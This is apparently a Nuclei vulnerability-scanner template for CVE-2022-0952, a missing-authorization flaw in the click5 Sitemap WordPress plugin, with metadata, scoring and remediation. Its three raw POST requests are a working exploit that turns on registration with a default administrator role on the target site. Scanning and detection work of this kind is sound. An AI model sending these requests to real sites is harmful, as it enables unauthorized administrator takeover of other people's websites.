id: CVE-2022-0952 info: name: WordPress Sitemap by click5 <1.0.36 - Missing Authorization author: random-robbie severity: high description: | WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue. reference: - https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b - https://nvd.nist.gov/vuln/detail/CVE-2022-0952 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-0952 cwe-id: CWE-352 epss-score: 0.03653 epss-percentile: 0.90657 cpe: cpe:2.3:a:sitemap_project:sitemap:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: sitemap_project product: sitemap framework: wordpress tags: wp,wp-plugin,sitemap,wpscan,cve,cve2022,wordpress http: - raw: - | POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1 Host: {{Hostname}} Content-type: application/json;charset=UTF-8 {"users_can_register":"1"} - | POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1 Host: {{Hostname}} Content-type: application/json;charset=UTF-8 {"default_role":"administrator"} - | POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1 Host: {{Hostname}} Content-type: application/json;charset=UTF-8 {"users_can_register":"0"} req-condition: true matchers: - type: dsl dsl: - 'contains(header, "application/json")' - "status_code == 200" - "contains(body_1, 'users_can_register')" - "contains(body_2, 'default_role')" condition: and # digest: 490a0046304402205b21887383789f792b3f7cdd7794a061d93ddcdaf04fe0b35822a812f9024b6e0220119ebb9a357c22f14c1cadd199c582d436af56834820444896b5aaaea16e10a1:922c64590222798bb761d5b6d8e72950